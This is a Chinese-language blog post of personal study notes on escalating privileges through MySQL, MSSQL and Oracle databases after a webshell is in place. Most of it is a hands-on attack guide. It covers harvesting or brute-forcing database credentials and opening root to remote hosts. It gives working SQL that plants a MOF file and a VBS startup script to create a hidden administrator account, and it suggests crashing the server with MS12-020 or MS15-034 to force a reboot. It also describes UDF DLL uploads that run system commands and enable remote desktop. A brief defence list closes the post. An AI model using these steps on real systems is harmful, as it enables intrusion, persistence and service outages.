數據庫權限提升
這是這兩天學習的哈,一篇篇發太麻煩了,就整理在一篇文章裏了,整體感覺基本都是靠工具,不靠工具的還是都比較有難度的,五一假期過去了也該繼續回到緊張的學習中了,衝鴨!
在家沒衣服穿太可憐了,想回學校取衣服T_T
如何獲取mysql賬號密碼
1.查看網站配置文件。
如:conn、config、data、sql、common 、inc等。
2.查看數據庫安裝路徑下的mysql文件
安裝目錄爲/data/mysql/user.myd和user.myi
3.通過暴力破解得到(hscan、Bruter、hydra、腳本木馬)
對外開放3306,允許遠程連接
不允許遠程連接需要開啓
暴力破解有時候需要遠程訪問,那麼如何打開root的遠程訪問權限呢?
一、基於安全考慮root賬戶一般只能本地訪問,但是在開發過程中可能需要打開root的遠程訪問權限。
下面是基本的步驟:
1、登錄到mysql中,爲root進行遠程訪問的授權,執行下面的命令:
mysql> GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";mysql> flush privileges;
第一句中"%"表示任何主機都可以遠程登錄到該服務器上訪問。如果要限制只有某臺機器可以訪問,將其換成相應的IP即可,如:GRANT ALL PRIVILEGES ON *.* TO root@“%" IDENTIFIED BY "root";
第二句表示從mysql數據庫的grant表中重新加載權限數據。因爲MySQL把權限都放在了cache中,所以在做完更改後需要重新加載。
二、mysql數據庫密碼保存文件
參考:http://blog.sina.com.cn/s/blog_8028ba2f0100rzpt.html
三、菜刀數據庫連接、大馬777.php、其它工具爆破
mssql,orcal,access提權及安全防範
Mssql提權
mssql提權主要分爲弱口令與溢出兩類提權。目前主要通過弱口令連接直接提權,溢出類Mssql數據庫幾乎很少見(sqlserver2000之後就幾乎沒有了)。
通過漏洞拉到webshell之後,找到網站配置文件,裏面有sa權限的賬號密碼,配置文件爲asp或者aspx網站一般使用微軟自帶數據庫,這個提權沒有sa權限是不能做的
mssql一般是允許遠程連接的
系統庫是master
其實一個正常的數據庫,跟webshell沒有太多區別,例如上傳,執行,都是可以的
有了密碼直接利用sqltools工具就可以了
使用時要恢復三個dll路徑(需要sa權限)
Oracle提權
Oracle數據庫一般與jsp、aspx網站搭配,如果是jsp網站,默認是系統權限,apsx網站默認需要提權。提權方法參考如下地址:
http://blog.csdn.net/sezvboyrul/article/details/2855401
http://wenku.baidu.com/link?url=DAU-gUL4EpfniDqH3TV4lvQ4W9HRRm-sWCzFqVNJWSnBgfCfm0iu-6DunEAcFgI0STlvJCgNgbq2BwPalWIcaptP72SDTcq77BtpRRvPSGG
或者直接使用oracleshell
access提權
!!!危險性比較大!!!
只要成功,對方網站數據庫一定崩潰,只有一次機會,這裏就不說了哈,沒什麼實際用處,畢竟我是溫柔小薛
MOF漏洞提權
1、mysql mof漏洞介紹:
http://www.exploit-db.com/exploits/23083/
2、MOF漏洞工具與腳本實戰:
http://www.myhack58.com/Article/html/3/8/2013/38264.htm
操作方法
一、通過工具提權(有root權限下)
Mysql綜合利用工具
二、手工通過webshell 數據庫語句建帳號
1.找個可寫目錄(屬性0777),上傳mof文件
2.執行sql
select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof';
注意新建的帳號每隔5分鐘就會新建帳號,刪除帳號的辦法參考第二個連接地址。
代碼裏可以修改這個間隔時間
Mysql啓動項提權
思路
1、通過mysql數據庫命令寫入VBS腳本;
2、直接通過Webshell的Mysql寫入啓動項;
3、通過MS12-020、MS15-034重啓服務器。
實際操作
C:\php\MySQL-5.1.50\bin>mysql -uroot -proot -h192.168.1.109
mysql>drop database test1;
mysql> create database test1;
首先創建一個數據庫test1
mysql> use test1;
進入到test1
mysql> create table a (cmd text);
創建一個表a(表裏有一個cmd字段 文本類型)
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")");
給表a設置一個xshshell變量,變量的值是creatboject這個對象,這個對象是一個調用wscript.shell的對象
mysql>insert into a values (“a=wshshell.run (”“cmd.exe /c net user best best /add”",0)");
在這個表裏插入一個cmd.exe,建一個best賬號,注意cmd.exe/c是無回顯的
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
注意雙引號和括號以及後面的“0”一定要輸入,我們將用這三條命令來建立一個VBS的腳本程序
mysql>select * from a;
mysql>select * from a into outfile "c://docume~1//administrator//「開始」菜單//程序//啓動//best.vbs";
把a表裏的信息導出到啓動項裏面,啓動項名稱叫best.vbs
最後通過溢出漏洞讓服務器重啓,如:MS12-020、MS15-034(靶機直接藍屏挺有意思哈)
重啓之後就會啓動執行腳本
補充
其實在一般滲透測試過程中,提權需要對方允許纔可以進行,比在前端找漏洞更有難度
UDP提權(MYSQL自身功能提權)
1、工具UDF提權方法
一、上傳udf.dll
上傳路徑
小於mysql5.1版本
C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll
等於mysql5.1版本
%mysql%\plugin\udf.dll (也就是在安裝路徑下) 用 select @@plugin_dir 查詢plugin路徑
默認 C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll
注意!有的DBA可能會爲了安全刪除這個文件,如果沒有我們可以創建一個
上傳方法
允許遠程連接情況下(root權限下提權)
1、UDF提權專用webshell工具(mysql綜合利用工具),導入dll、再執行命令。
導入目錄要注意/,之後執行
2、Mysql允許外連的情況下也可以使用Hack MySQL上傳,再通過命令行登陸執行命令。
二、執行SQL
select cmdshell('net user');
select open3389();
三、低權限獲取root密碼
2、UDF腳本提權方法
主要解決mysql不能遠程連接問題。
不允許遠程連接的情況下(普通用戶下提權)
安全防禦
1、限止數據庫遠程連接,給數據庫帳戶設置密碼必須>8位以上並數字+字母+特殊符號等。
2、不要給網站配置root或SA這種可以擴展存取的權限。必須給每個網站獨立分配數據庫帳戶並限格控制好權限。
3、及時掃描並升級數據庫補丁。
4、安裝Waf進行防禦。
5、購買數據庫審計設備